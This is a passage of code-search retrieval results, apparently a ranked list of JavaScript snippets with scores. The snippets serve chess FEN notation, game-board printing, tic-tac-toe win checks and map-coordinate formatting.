!this.bc[1]) fen += '-';\n else {\n if (this.wc[1]) fen += 'K';\n if (this.wc[0]) fen += 'Q';\n if (this.bc[1]) fen += 'k';\n if (this.bc[0]) fen += 'q';\n }\n\n fen += ' ';\n if (this.ep !== -1) fen += squareToString(this.ep);\n else fen += '-';\n\n fen += ' ';\n fen += this.halfMoveClock;\n\n fen += ' ';\n fen += 1; // fullMove\n\n return fen;\n }", "title": "" }, { "docid": "b745bee241d844875cccb65003482d8d", "score": "0.6262359", "text": "getChar(pos) {\n let row = pos[0];\n let col = pos[1];\n return this.grid[row][col].char;\n }", "title": "" }, { "docid": "a0c6083a0fc0e75fa5b8ff35d1364d9f", "score": "0.624675", "text": "function coordsToString(coords) {\n var coordsString = \"\";\n \n var arrayLength = coords.length;\n for (var i = 0; i < arrayLength; i++) {\n var latlan = coords[i];\n \n coordsString = coordsString + \"lat:\" + latlan.lat + \", lon:\" + latlan.lng;\n \n if (i < arrayLength-1) {\n coordsString = coordsString + \" - \"\n }\n }\n return coordsString;\n}", "title": "" }, { "docid": "d8090ca37ed0bd9b150db8f74f88551b", "score": "0.61939985", "text": "to_move(board) {\n if(this.isOO()) {\n return \"0-0\";\n }\n if(this.isOOO()) {\n return \"0-0-0\";\n }\n\tvar c0 = this.from >> 3;\n\tvar r0 = (this.from & 7) + 1;\n\tvar c1 = this.to >> 3;\n\tvar r1 = (this.to & 7) + 1;\n var brd = board.getBoard();\n var from_square = brd[this.from];\n var to_square = brd[this.to];\n var pce = from_square & C.PIECEMASK; // note: can never be empty in actual move\n var out = \"\";\n if(pce < C.PAWN) {\n out += C.FENPIECENAMES.charAt(pce - 1);\n }\n out += C.i2nam(this.from);\n if(((to_square & C.PIECEMASK) == C.EMPTY) && !this.isEP){\n out += \"-\"\n } else {\n out += \"x\"\n }\n out += C.i2nam(this.to);\n if(this.isEP) {\n out += \"e.p.\";\n }\n if(this.promotedTo) {\n out += C.FENPIECENAMES.charAt(pce - 1);\n }\n //return V.text2pic(out);\n return out;\n }", "title": "" }, { "docid": "b98811edc3ea925fbb53165bfda0e71c", "score": "0.61909586", "text": "toString() {\n let result = \"\";\n for (let r = 0; r < this._rowSize; ++r) {\n for (let c = 0; c < this._colSize; ++c) {\n let tile = this._grid[r][c];\n if (tile) {\n result += tile.type.getId() + \" \";\n } else {\n result += \"_ \";\n }\n }\n result += \"<br/>\";\n }\n return result.toString();\n }", "title": "" }, { "docid": "9268951c76432bb28d1197630fa2489c", "score": "0.6107334", "text": "outputGameBoard() {\n let out = ''\n let divider = ' +'\n\n // compute a divider\n for (let y = 0; y < this.width; ++y) { divider += '---+' }\n\n for (let x = 0; x < this.height; ++x) {\n out += \"\\n\" + divider + \"\\n\"\n\n for (let i = 0; i < this.width; ++i) {\n out += (this.position[0] === x && this.position[1] === i) ? ' | X' : ' | '\n }\n\n out += ' |'\n }\n\n out += \"\\n\" + divider + \"\\n\"\n\n debug(out)\n }", "title": "" }, { "docid": "e2c36ccfdaea492fd8eeeac7441f4ea9", "score": "0.6103165", "text": "function toCoordinateString(coordinate) {\n function getValue(names) {\n for (var i = 0; i < names.length; i++) {\n var value = coordinate[names[i]];\n if (value !== null && isFinite(value)) {\n return value;\n }\n }\n }\n\n var x = getValue([\"x\", \"latitude\", \"lon\"]);\n var y = getValue([\"y\", \"longitude\", \"lat\"]);\n\n if (!isFinite(x) && !isFinite(y)) {\n return;\n }\n\n var text = \"%1 %2\".arg(y.toString()).arg(x.toString());\n\n var z = getValue([\"z\", \"altitude\", \"alt\"]);\n var a = getValue([\"horizontalAccuracy\", \"accuracy\"]);\n\n if (isFinite(z) || isFinite(a)) {\n text += \" %1\".arg(isFinite(z) ? z.toString() : 0);\n }\n\n if (isFinite(a)) {\n text += \" \" + a.toString();\n }\n\n return text;\n}", "title": "" }, { "docid": "f0102fe889e2d6b90a2dce9219afb556", "score": "0.6077789", "text": "stringName(){\r\n return this.x + \",\" + this.y;\r\n }", "title": "" }, { "docid": "8a0b437f3e22037d87ddf628b9820c79", "score": "0.60777813", "text": "function showBoard(board){\n\tvar temp = \"\";\n\tfor(i=0;i<board.length;i++){\n\t\ttemp += \"\\n\";\n\t\ttemp += board[0].join(\",\");\n\t}\n\t\tconsole.log(temp);\n}", "title": "" }, { "docid": "4ecdc0d2c623fa62c06216f1e0a8aea9", "score": "0.60701543", "text": "function coord(s) {\n return { col: 'abcdefgh'.indexOf(s[0]), row: 8 - (+s[1]) };\n}", "title": "" }, { "docid": "9447f7c31c0827d014ad408377369f5a", "score": "0.60581636", "text": "function toStringCoordinate(coordinate) {\n return coordinate.lat().toFixed(5) + \" \" + coordinate.lng().toFixed(5);\n}", "title": "" }, { "docid": "cfef09b86c710c396d721f08d1566dd2", "score": "0.60222214", "text": "toString(){\r\n\t\tlet retour = \"\";\r\n\t\tthis.pixels.forEach((line)=>{\r\n\t\t\tline.forEach((pixel)=>{\r\n\t\t\t\tretour += pixel.on == true? \"O\":\"_\";\r\n\t\t\t});\r\n\t\t\tretour += \"\\n\";\r\n\t\t});\r\n\t\treturn retour;\r\n\t}", "title": "" }, { "docid": "304363a46263343ed2d56a566fcc5fdf", "score": "0.6009417", "text": "toString(){\n\t\treturn \"([\" + this.leftVertex.value.coordinates.toString() +\"], [\"+this.rightVertex().value.coordinates.toString()+\"])\";\n\t}", "title": "" }, { "docid": "62f90969053bb5abac0c93f9416aa3f5", "score": "0.60040534", "text": "function getPiece({x, y}, grid) {\r\n return grid[x][y];\r\n}", "title": "" }, { "docid": "94c9f53fc198891e7412aff03e20759b", "score": "0.5984655", "text": "function getBoard(gameID) {\n\t//return games[gameID].board.map(function(i) { return i.join(\"\"); });\n\treturn games[gameID].board.map(function(e) { return e.map(function(b) { return b.b }).join(\"\"); })\n}", "title": "" }, { "docid": "f9c5b406db7bd42a13ee474ea4cdf6d5", "score": "0.59757817", "text": "hexagonPointsString() {\n var points = this.hexagonPointsArray();\n var strOut;\n var str = [];\n var j;\n for (j = 0; j < 6; j++) {\n str[j] = points[j].join(\",\");\n }\n//console.log(str);\n strOut = str.join(\" \");\n return strOut;\n }", "title": "" }, { "docid": "dd4f2b34d4c6c7438d24a5d5c06cd56b", "score": "0.5960048", "text": "function GetPosition()\n{\n for (var S32 = Pos32.toString(16); S32.length < 8; S32 = \"0\" + S32);\n for (var S64 = Pos64.toString(16); S64.length < 8; S64 = \"0\" + S64);\n return((S64+S32).toUpperCase());\n}", "title": "" }, { "docid": "e5dcf073686bee598ad611bd98e9f3c9", "score": "0.59524184", "text": "toString() {\n\tvar s = \"FEN: \" + this.fenstring;\n\ts += \"\\nboard: \" + this.board + \"\\n\";\n\tfor(var i = 7; i >= 0; --i) {\n\t for(var j = 0; j < 8; ++j) {\n\t\ts += this.board[this.rc2i(i, j)] + \", \";\n\t }\n\t s += \"\\n\";\n\t}\n\ts += this.side_white.toString() + \"\\n\";\n\ts += this.side_black.toString() + \"\\n\";\n\ts += \"Side to move: \" + this.getSideToMove() + \"\\n\";\n\ts += \"Halfmove clock: \" + this.getHalfMoveClock() +\n\t \", Move number: \" + this.getMoveNumber() + \"\\n\";\n\treturn s;\n }", "title": "" }, { "docid": "5be4aa6ddc804e1d43925aa75317893e", "score": "0.5936401", "text": "function printboard(board) {\n\tvar height = board.length;\n\tvar width = board[0].length;\n\tfor(var i = 0; i < height; i++) {\n\t\tvar line = \"\";\n\t\tfor(var j = 0; j < width; j++) {\n\t\t\tline += board[i][j];\n\t\t}\n\t\tconsole.log(line);\n\t}\n}", "title": "" }, { "docid": "99c939fa7de551fb8bfe44d44c7a5908", "score": "0.5926063", "text": "function convertToBoardCoordinate(x, y, whiteOrientation) {\n x = Math.floor(x/TILE_SIZE);\n y = Math.floor(y/TILE_SIZE);\n let letter = whiteOrientation ? String.fromCharCode(ASCII_A + x) : String.fromCharCode(ASCII_H - x);\n let number = whiteOrientation ? String.fromCharCode(ASCII_8 - y) : String.fromCharCode(ASCII_1 + y);\n return `${letter}${number}`\n}", "title": "" }, { "docid": "c953d3fff4241609a7bed75c0b45494f", "score": "0.5925279", "text": "toIdString() {\n\tvar s = this.toFENBoard();\n\ts += \" \" + ((this.getSideToMove() == C.WHITE)? \"w\" : \"b\") + \" \";\n\tvar c = \"\";\n\tif(this.canOO(C.WHITE)) {\n\t c += \"K\";\n\t}\n\tif(this.canOOO(C.WHITE)) {\n\t c += \"Q\";\n\t}\n\tif(this.canOO(C.BLACK)) {\n\t c += \"k\";\n\t}\n\tif(this.canOOO(C.BLACK)) {\n\t c += \"q\";\n\t}\n\tif(c != \"\") {\n\t s += c + \" \";\n\t} else {\n\t s += \"- \";\n\t}\n\tif(this.side_white.canBeTakenEP()) {\n\t s += \"abcdefgh\".charAt(this.side_white.getEPFile()) + \"3\";\n\t} else if (this.side_black.canBeTakenEP()) {\n\t s += \"abcdefgh\".charAt(this.side_black.getEPFile()) + \"6\";\n\t} else {\n\t s += \"-\";\n\t}\n\treturn s;\n }", "title": "" }, { "docid": "241506d2f230a0d020f28b5af16be62d", "score": "0.59199053", "text": "displayBoard(board) {\n\n console.log(`\\t\\t| ${board[0][0]} | ${board[0][1]} | ${board[0][2]} |`);\n console.log(`\\t\\t|---|---|---|`);\n console.log(`\\t\\t| ${board[1][0]} | ${board[1][1]} | ${board[1][2]} |`);\n console.log(`\\t\\t|---|---|---|`);\n console.log(`\\t\\t| ${board[2][0]} | ${board[2][1]} | ${board[2][2]} |`);\n\n }", "title": "" }, { "docid": "810a298dc8489cc9f4410dc6a585a098", "score": "0.590604", "text": "toString() {\n let str = \"\"; //string to be printed out to the console/terminal\n let size = this.size;\n\n for (let i = 0; i < size; i++) {\n for (let n = 0; n < size; n++) {\n str += \"[\";\n str += this.gameState.board[i][n];\n str += \"]\";\n\n if (n == (size - 1)) {\n str += \"\\n\";\n }\n }\n }\n\n return str;\n }", "title": "" }, { "docid": "5de1b5995ab1e75f90d9893ac848f4e7", "score": "0.59004635", "text": "getFormatedMouseCoords() {\n // Rounding off\n let mx = Math.floor(mouseX);\n let my = Math.floor(mouseY);\n\n // Only coordinates inside the canvas\n mx = constrain(mx, 0, width);\n my = constrain(my, 0, height);\n\n // return formatted string\n return `x: ${mx}, y: ${my}`;\n }", "title": "" }, { "docid": "39c36d06f541c4d69512020d4d2db36f", "score": "0.5895175", "text": "toString() {\n return '(' + this.x + ',' + this.y + ')';\n }", "title": "" }, { "docid": "758fb66e35989845f0a76a458324a538", "score": "0.589237", "text": "board(str) {\n console.log('str:', str);\n console.log(' display board:');\n let line = '-----------------------\\n'\n let output = '' + line\n for (let i = 0; i < str.length; i++) {\n if (str[i] == 0) {\n output += ' ' + this.emptySlotSymbol\n } else {\n output += ' ' + str[i]\n }\n\n if ((i+1)%27 == 0) {\n output += '\\n' + line\n }\n else if ((i+1)%9 == 0) {\n output += '\\n'\n }\n else if ((i+1)%3 == 0) {\n output += ' |'\n }\n }\n return output\n }", "title": "" }, { "docid": "b1b80c17119f37d968a4208cc21f8775", "score": "0.589193", "text": "function packCoord(coord) {\n\treturn String.fromCharCode(((coord.x << 6) | coord.y) + 65);\n}", "title": "" }, { "docid": "f7ff4dc46990a95659760248cb8c2149", "score": "0.5875382", "text": "function clickShowPositionBtn () {\r\n console.log('Current position as an Object:')\r\n console.log(board.position())\r\n\r\n console.log('Current position as a FEN string:')\r\n console.log(board.fen())\r\n}", "title": "" }, { "docid": "20df8751f26ae506bdbe22101f418df6", "score": "0.58734876", "text": "function playerLocationClassTile(){\n let a = playerLocation[0];\n let b = playerLocation[1];\n return(`.grid${a}${b}`);\n}", "title": "" }, { "docid": "27d544b7af8f4c8a07bb9c7e2e4583a2", "score": "0.58695954", "text": "sqPointsString(ix){\n var points = this.sqPointsArray(ix);\n var strOut;\n var str = [];\n var j;\n for (j = 0; j < 4; j++) {\n str[j] = points[j].join(\",\");\n }\n \n strOut = str.join(\" \");\n return strOut;\n }", "title": "" }, { "docid": "9791ad149b91e0f5f081cf9486835ecc", "score": "0.58581525", "text": "printSquares() {\n var string = '';\n for (var i = 0; i < 3; i++) {\n for (var j = 0; j < this.grid.length; j++) {\n string += this.grid[i][j].box + ' ';\n }\n console.log(string);\n string = \"\";\n }\n }", "title": "" }, { "docid": "b4814dbf5a102e86c13e5f2aa868e716", "score": "0.58203346", "text": "function makeBoard(rows, cols) {\n\tvar string = \"\";\n\n\tfor (var i = 0; i < rows; i++) {\n\t\tfor (var j = 0; j < cols; j++) {\n\n\t\t\tif ((i + j) % 2 == 0) {\n\t\t\t\tstring += \"#\";\n\t\t\t}\n\n\t\t\telse {\n\t\t\t\tstring += \" \";\n\t\t\t}\n\t\t}\n\n\t\tstring += \"\\n\";\n\t\tstring += \"<br>\";\n\t}\n\n\t//console.log(string);\n\treturn string;\n}", "title": "" }, { "docid": "810b7205ce9d8b94f6b3913e64ec9ae7", "score": "0.5809067", "text": "function printBoard(position) {\n console.log(position);\n \n position.forEach( row => {\n var strRow = \"\";\n for(var i=0; i<position.length; i++) {\n if (i==row) {\n strRow = strRow + \" Q \";\n }\n else {\n strRow = strRow + \" - \";\n }\n }\n console.log(strRow);\n });\n}", "title": "" }, { "docid": "2b4072edf7625a7b4d0b96164bdad591", "score": "0.58046705", "text": "function printBoard() {\n console.log(board[0]);\n console.log(board[1]);\n console.log(board[2]);\n console.log(\"**************\");\n}", "title": "" }, { "docid": "4df29ebc34437ee4fa0205e43260e461", "score": "0.57967705", "text": "moveToString(move) {\n return \"\" + move[0] + move[1] + move[2] + move[3];\n }", "title": "" }, { "docid": "85fddd94bbeed945aa7f9ca0666c5bcf", "score": "0.57901293", "text": "function board(square) {\n return puzzle.board[square.i][square.j];\n}", "title": "" }, { "docid": "d5ca80f404d104272166fe6509ade8af", "score": "0.5784152", "text": "pieceForSquare(square) {\n var [x, y] = coordsForSquare(square)\n return this.board[x][y]\n }", "title": "" }, { "docid": "42a5b845fa16cfc5981e556fa011d7e9", "score": "0.5774132", "text": "function coordStr( array, Ed ) {\n\tlet grp = Ed ? 3 : 2;\n\tcoordArr = [];\n\tfor ( let i=0; i<array.length; i+grp) {\n\t\tlet a = [];\n\t\tswitch (true) {\n\t\t\tEd:\n\t\t\t\ta.push(array[i]);\n\t\t\t\ta.push(array[i+1])\n\t\t\t\ta.push(array[i+2]);\n\t\t\t\tbreak;\n\t\t\t!Ed:\n\t\t\t\ta.push(array[i]);\n\t\t\t\ta.push(array[i+1])\n\t\t\t\tbreak;\n\t\t}\n\t\tcoordArr.push(a.join(\" \"));\n\t}", "title": "" }, { "docid": "c57d66c6d27e9306d87c2ff46a1261a1", "score": "0.5766091", "text": "function printBoard() {\r\n var str = '';\r\n\r\n for (var i = 0; i < gBoard.length; i++) {\r\n for (var j = 0; j < gBoard[i].length; j++) {\r\n var cell = gBoard[i][j];\r\n str += cell.isMine ? MINE : cell.minesAroundCount;\r\n str += '\\t';\r\n }\r\n str += '\\n';\r\n }\r\n console.log(str);\r\n}", "title": "" }, { "docid": "f341869f90560cd584160c505496dec2", "score": "0.57596457", "text": "function getXCoor(str, index) {\n //X coordinate\n let x = str[index];\n //Invalid input of column coordinate\n if (colArr.indexOf(x) == -1) {\n //window.alert(\"Invalid input. Please re-enter coordinates.\");\n return;\n }\n return (x.charCodeAt(0) - OFFSET);\n}", "title": "" }, { "docid": "e385167fc7ad175b170ce629466e6f23", "score": "0.57543975", "text": "render() {\n // String that will be our map\n let map = '';\n for (let row = 0; row < this.settings.rowsCount; row++) {\n for (let col = 0; col < this.settings.colsCount; col++) {\n if (this.player.x === col && this.player.y === row) {\n map += '0 ';\n } else {\n map += 'x ';\n }\n }\n map += '\\n';\n }\n console.clear();\n console.log(map);\n }", "title": "" }, { "docid": "dbd947de6070eb0011eccc97057d3967", "score": "0.57509124", "text": "function chessTranslation(piece,row,col) {\n let pieceName;\n if (piece === '\\u2654' || piece === '\\u265A') {\n pieceName = \"King\";\n } else if (piece === '\\u2655' || piece === '\\u265B') {\n pieceName = \"Queen\";\n } else if (piece === '\\u2656' || piece === '\\u265C') {\n pieceName = \"Rook\";\n } else if (piece === '\\u2657' || piece === '\\u265D') {\n pieceName = \"Bishop\";\n } else if (piece === '\\u2658' || piece === '\\u265E') {\n pieceName = \"Knight\";\n } else {\n pieceName = \"Pawn\";\n }\n\n const letters = ['A','B','C','D','E','F','G','H'];\n\n return pieceName + ' to ' + letters[col] + Math.abs(8-row);\n}", "title": "" }, { "docid": "1ac3aa9fbd0f2ab6244ab5665d949232", "score": "0.5742413", "text": "function PrintBoard(g) {\n for (let row = 0; row < BOARDSIZE; row++) {\n let row1Text = '', row2Text = '';\n for (let col = 0; col < BOARDSIZE; col++) {\n\n if (g.pawnA.x === col && g.pawnA.y === row) {\n row1Text += 'A'\n } else if (g.pawnB.x === col && g.pawnB.y === row) {\n row1Text += 'B'\n } else {\n row1Text += ' '\n }\n\n if (col < BOARDSIZE - 1) {\n if (((row < BOARDSIZE - 1 && (g.wallSpaces)[col][row] === 2) || (row > 0 && g.wallSpaces[col][row-1] === 2)))\n row1Text += '|'\n else\n row1Text += ' '\n }\n\n if (row < BOARDSIZE - 1) {\n if (((col < BOARDSIZE - 1 && (g.wallSpaces)[col][row] === 1) || (col > 0 && g.wallSpaces[col-1][row] === 1)))\n row2Text += '-'\n else\n row2Text += ' '\n if (col < BOARDSIZE - 1)\n row2Text += '+'\n }\n }\n console.log('.'+row1Text +'.\\n.'+ row2Text +'.')\n }\n}", "title": "" }, { "docid": "29a51dc5e62d8caa9ec4ed1083146aff", "score": "0.5740778", "text": "function getLocFromSquare(square) {\n let row = parseInt(square.dataset.y)\n let col = parseInt(square.dataset.x)\n return [col, row]\n}", "title": "" }, { "docid": "d4f6743fe00188b64d32c565043cc30d", "score": "0.57370275", "text": "function battlefield(x, y) {\r\n return game.board[x+1][y+1];\r\n}", "title": "" }, { "docid": "9f5caeac0082abdbc5139cd6ca46ca0b", "score": "0.5735635", "text": "toString() {\n var output = \"\";\n for(let i = 0; i < this.data.length; i++) {\n for(let j = 0; j < this.data[i].length; j++) {\n var character = this.data[i][j];\n output += character.toString();\n if(j < this.data[i].length-1)\n output += \", \" \n }\n output += \"\\n\"\n }\n return output;\n }", "title": "" }, { "docid": "4ff9484802069cecc0d6d76ac126f2aa", "score": "0.5714954", "text": "function displayBoard() {\n let horizontalSeparator = \"+-+-+-+-+-+-+-+\";\n let retString = \" 1 2 3 4 5 6 7 \\n\";\n retString += horizontalSeparator;\n\n for ( let row=(board.length -1) ; row>=0 ; row-- ) {\n retString += \"\\n\";\n\tfor ( let col=0 ; col<board[row].length ; col++) {\n retString += \"|\";\n retString += ( board[row][col] ? board[row][col] : \" \" );\n\t}\n retString += (\"|\");\n retString += \"\\n\";\n retString += horizontalSeparator;\n }\n return retString;\n}", "title": "" }, { "docid": "8d42dca2472a50411743c4c30c5b2c52", "score": "0.57055086", "text": "function buildCoordString2(point) {\n var northamerica=1\n var ngCoords = LLtoUSNG(point.y,point.x, 5);\n var mgrsCoords = LLtoMGRS(point.y,point.x, 5);\n\tvar utmcoords=[]\n\tvar zone\n \tLLtoUTM(point.y,point.x,utmcoords,0)\n\tzone = utmcoords[2]\n\t\n\t// decimal degrees. Originally in buildCoordString1, moved here because D-M.mm is NSARC standard\n var preclng = point.lng().toFixed(precision+2);\n var precLat = point.lat().toFixed(precision+2);\n \t\tcoordStr += \"<br\\/><i>D.d:</i> \"+precLat+ \",\"+preclng;\n\t\n\t//alert(LLtoGARS(point.y,point.x))\n\n if (point.y>13 && point.y<90 && ((point.x<-46 && point.x>-180) || (point.x>169 && point.x<180))) { \n northamerica = 1\n }\n else {\n northamerica = 0\n }\n\n\t//utm coordinates\n\tvar utmx = utmcoords[0];\n var utmy = utmcoords[1];\n\tif (utmy < 0) { utmy+=10000000; }\n\tlatLngStr = \"<i>UTM (zone,x,y)</i>: \" + zone + UTMLetterDesignator(point.y)+\", \" + utmx.toFixed(0) + \", \" + utmy.toFixed(0);\n\n // deg-min-sec\n latLngStr += \"<br><i>D-M-S</i>: \" + lat2dms(point.y)+\", \" + lon2dms(point.x)\n \n\t// GARS\n\tlatLngStr += \"<br><i>GARS:</i> \" + LLtoGARS(point.y,point.x)\n\n return(latLngStr)\n}", "title": "" }, { "docid": "162407973f9bcc6ed3ea29bbd446b15b", "score": "0.56999785", "text": "function 2Dcoordinates(row, column, widthOfBoard) {\n return row * widthOfBoard + column;\n}", "title": "" }, { "docid": "5493af956987e03f14cdb157bb8a3be3", "score": "0.5696429", "text": "function returnLocOnBoard(x, y){\n return {\n x: ((x) * gameState.boxSize)+'px',\n y: ((y) * gameState.boxSize)+'px',\n }\n}", "title": "" }, { "docid": "5ee256daa35185cd69e5fd5f7b9677a7", "score": "0.5695861", "text": "function getBoardCoords(x, y) {\n\treturn [ Math.floor(x/SQUARE_SIZE), Math.floor(y/SQUARE_SIZE)];\n}", "title": "" }, { "docid": "f886a6952103430c2f76a110447b0be8", "score": "0.56833386", "text": "print(){\n console.log(\" 0 1 2\");\n for(let row = 0; row < 3; row++){\n let rowStr = \"\";\n rowStr += row + \" \";\n for(let col = 0; col < 3; col++){\n if(this.grid[row][col] === null){\n rowStr += \" _ \";\n }\n else{\n rowStr += ` ${this.grid[row][col]} `;\n }\n }\n console.log(rowStr);\n }\n }", "title": "" }, { "docid": "99b2321bae8ee7acce692217b7d4a9c1", "score": "0.56829816", "text": "print(idx1, idx2) {\r\n\t\treturn this.board[idx1][idx2]\r\n\t\t ?\tthis.board[idx1][idx2]\r\n\t\t : '_'\r\n\t}", "title": "" }, { "docid": "c349caae739f05200fad9a93d4ced723", "score": "0.5680793", "text": "vCurString() {\n var points = this.vCur;\n var str = [];\n var j;\n for (j = 0; j < 3; j++) {\n str[j] = points[j].join(\",\");\n }\n str = str.join(\" \");\n return str;\n }", "title": "" }, { "docid": "c349caae739f05200fad9a93d4ced723", "score": "0.5680793", "text": "vCurString() {\n var points = this.vCur;\n var str = [];\n var j;\n for (j = 0; j < 3; j++) {\n str[j] = points[j].join(\",\");\n }\n str = str.join(\" \");\n return str;\n }", "title": "" }, { "docid": "0bb24ff573025aa14f8158ce2d0673f4", "score": "0.56773055", "text": "function squareForCoords(x, y) {\n return (String.fromCharCode(\"a\".charCodeAt(0) + x) +\n String.fromCharCode(\"1\".charCodeAt(0) + y))\n}", "title": "" }, { "docid": "a27ea770534b0229eed4e8c96c2b35fa", "score": "0.5675767", "text": "function toViewBoxString(x, y, w, h){\n\treturn x.toString() + \" \" + y.toString() + \" \" + w.toString() + \" \" + h.toString();\n}", "title": "" }, { "docid": "f3a01ba83a166858026f2893515c28c4", "score": "0.5664861", "text": "toString() {\n return `(${this.x}, ${this.y})`;\n }", "title": "" }, { "docid": "e7168cf9d9a1a35cf1b598526465e624", "score": "0.5663761", "text": "function generateString() {\n var string = 'M';\n\n string += jq.map(Stops, function(stop) {\n return stop ? stop.getCircle().left + ' ' +stop.getCircle().top : '';\n }).join('L');\n\n return string;\n }", "title": "" }, { "docid": "3027381623f67ddd2501a74b8ef7ab4f", "score": "0.5661273", "text": "function get_value(row,col){\r\n return board.eq(row).find(\"td\").eq(col).text();\r\n}", "title": "" }, { "docid": "b3f694f5a36025fd2e396c3e72687852", "score": "0.5656747", "text": "function getWinner(board) {\r\n var boardString = '';\r\n for (var i = 0; i < gameLogic.ROWS; i++) {\r\n for (var j = 0; j < gameLogic.COLS; j++) {\r\n var cell = board[i][j];\r\n boardString += cell === '' ? ' ' : cell;\r\n }\r\n }\r\n var win_patterns = [\r\n 'XXX......',\r\n '...XXX...',\r\n '......XXX',\r\n 'X..X..X..',\r\n '.X..X..X.',\r\n '..X..X..X',\r\n 'X...X...X',\r\n '..X.X.X..'\r\n ];\r\n for (var _i = 0, win_patterns_1 = win_patterns; _i < win_patterns_1.length; _i++) {\r\n var win_pattern = win_patterns_1[_i];\r\n var x_regexp = new RegExp(win_pattern);\r\n var o_regexp = new RegExp(win_pattern.replace(/X/g, 'O'));\r\n if (x_regexp.test(boardString)) {\r\n return 'X';\r\n }\r\n if (o_regexp.test(boardString)) {\r\n return 'O';\r\n }\r\n }\r\n return '';\r\n }", "title": "" }, { "docid": "b3f694f5a36025fd2e396c3e72687852", "score": "0.5656747", "text": "function getWinner(board) {\r\n var boardString = '';\r\n for (var i = 0; i < gameLogic.ROWS; i++) {\r\n for (var j = 0; j < gameLogic.COLS; j++) {\r\n var cell = board[i][j];\r\n boardString += cell === '' ? ' ' : cell;\r\n }\r\n }\r\n var win_patterns = [\r\n 'XXX......',\r\n '...XXX...',\r\n '......XXX',\r\n 'X..X..X..',\r\n '.X..X..X.',\r\n '..X..X..X',\r\n 'X...X...X',\r\n '..X.X.X..'\r\n ];\r\n for (var _i = 0, win_patterns_1 = win_patterns; _i < win_patterns_1.length; _i++) {\r\n var win_pattern = win_patterns_1[_i];\r\n var x_regexp = new RegExp(win_pattern);\r\n var o_regexp = new RegExp(win_pattern.replace(/X/g, 'O'));\r\n if (x_regexp.test(boardString)) {\r\n return 'X';\r\n }\r\n if (o_regexp.test(boardString)) {\r\n return 'O';\r\n }\r\n }\r\n return '';\r\n }", "title": "" }, { "docid": "7da19d1fc600042e9e5d08ddf05f99e8", "score": "0.56555843", "text": "triPointsString(ix){\n var points = this.triPointsArray(ix);\n var strOut;\n var str = [];\n var j;\n for (j = 0; j < 3; j++) {\n str[j] = points[j].join(\",\");\n }\n//console.log(str);\n strOut = str.join(\" \");\n return strOut;\n }", "title": "" }, { "docid": "b3559af83c26ff7a1dcb242f44f234b3", "score": "0.56518835", "text": "charAtO(row, col) {\n var index = row * 3 + col; //Magic formula\n return $('#cell-' + index.toString()).text();\n }", "title": "" }, { "docid": "a17d0fe08d394230fd28cf5df83b07a9", "score": "0.5649642", "text": "_viewInCLI() {\n let sn = \"\";\n let emptySquaresCount = 0;\n\n this.squares.forEach((row, rowIndex) => {\n row.forEach((square, colIndex) => {\n if (SquareUtils.hasPiece(square)) {\n\n if (emptySquaresCount > 0) {\n sn += `${emptySquaresCount}`;\n emptySquaresCount = 0;\n }\n\n // type?\n if (square.piece.color === PlayerTypesEnum.BLUE) {\n // Blue uses upper case letters for piece type representation (L D B K S)\n sn += toUpper(square.piece.type);\n\n } else {\n // Red uses lower case letter for piece type representation (l d b k s);\n sn += toLower(square.piece.type);\n }\n\n sn += \" \";\n\n // orientation?\n // const orientation = square.piece.orientation;\n // sn += _.repeat(\"+\", orientation / 90);\n\n } else {\n sn += \". \";\n }\n });\n\n // Append / to sepparate rows, but not at the end of the notation.\n if (rowIndex !== 7) {\n sn += \"\\n\"; // separates the rows\n }\n });\n console.log(sn);\n }", "title": "" }, { "docid": "8d9d895c2b952b39ec7826b5f2564a71", "score": "0.564855", "text": "function printBoard2D(){\r\n var str = \"___________________\\n\";\r\n for (var i = 0; i < board2D.length; i++) {\r\n str += \"|\";\r\n for (var j = 0; j < board2D[i].length; j++) {\r\n if(board2D[i][j] == 0){\r\n str += \" |\"\r\n }\r\n else{\r\n str += board2D[i][j].toString() + \"|\";\r\n }\r\n }\r\n\r\n if(i % 3 == 2){\r\n str += \"\\n|_____|_____|_____|\\n\"\r\n }\r\n // if (i == board2D.length - 1) {\r\n // str += \"___________________\";\r\n // }\r\n else{\r\n str += \"\\n|-----|-----|-----|\\n\"\r\n }\r\n }\r\n console.log(str);\r\n}", "title": "" }, { "docid": "dc7349c83ceb0e6cf80f6d8d555d30c4", "score": "0.5641935", "text": "function getBoardCoords(board) {\r\n var coords = [];\r\n\r\n for (var i = 0; i < board.length; i++) {\r\n for (var j = 0; j < board[i].length; j++) {\r\n coords.push({ i, j });\r\n }\r\n }\r\n return coords;\r\n}", "title": "" }, { "docid": "a0da356329182c07e16a6031ebffd18a", "score": "0.5634903", "text": "function curveToString(coords) {\n var s = \"\";\n s = s + String(coords.length) + \"\\n\";\n for (var i = 0; i<coords.length; i++) {\n s = s + String(coords[i].x) + \" \" + String(coords[i].y) + \" \"\n + String(coords[i].z) + \"\\n\";\n }\n return s;\n}", "title": "" }, { "docid": "a44a1b4a9b81712945eac2b4dcbc9c38", "score": "0.56312096", "text": "rowColPositionForStep (boardInstance, move){\n const history = this.state.history;\n/* const previousMove = move-1;\n const currentMoveIndex = boardInstance.squares.findIndex( (element, index) =>{\n if ((element ==='X' || element ==='O') &&\n (previousMove >= 0) &&\n (history[previousMove].squares[index] === null)){\n return true;\n }\n else {\n return false;\n }\n }); */\n const currentMoveIndex = boardInstance.squarePlayed;\n let rowColPositionString = '';\n if (currentMoveIndex !== -1){\n const row = Math.trunc(currentMoveIndex/3) +1;\n const col = (currentMoveIndex % 3) +1;\n rowColPositionString = boardInstance.squares[currentMoveIndex] + ' (' + row + ',' + col + ')';\n }\n return rowColPositionString;\n }", "title": "" }, { "docid": "e22337a1f51d15f650783c65af60e8d2", "score": "0.5629921", "text": "function getCellKey(x, y) {\n return \"x\" + x + \"y\" + y;\n }", "title": "" }, { "docid": "8b6f5454d90ce968de9c7a68f8e136c1", "score": "0.5621404", "text": "function dronePosition(grid) {\n // Code here\n // var position = '';\n for (var i = 0; i < grid.length; i++) {\n for (var j = 0; j < grid[i].length; j++) {\n for (var k = 0; k < grid[i][j].length; k++) {\n if (grid[i][j][k] === \"*\") {\n return i + \", \" + k;\n }\n }\n }\n }\n return \"No drone\";\n}", "title": "" }, { "docid": "85248c0d4b158c0a5dc8f31210835288", "score": "0.5619722", "text": "function getSquare(coord) {\n\t\tif (arguments.length != 1) {\n\t\t\tthrow \"Wrong number of arguments\";\n\t\t}\n\t\t\n\t\tvar map = new Object();\n\t\t// if only from certain file we can make the move\n\t\tvar extra = new Array(-1,-1);\n\t\tvar taking = -1;\n\t\tmap['a'] = 7, map['b'] = 6, map['c'] = 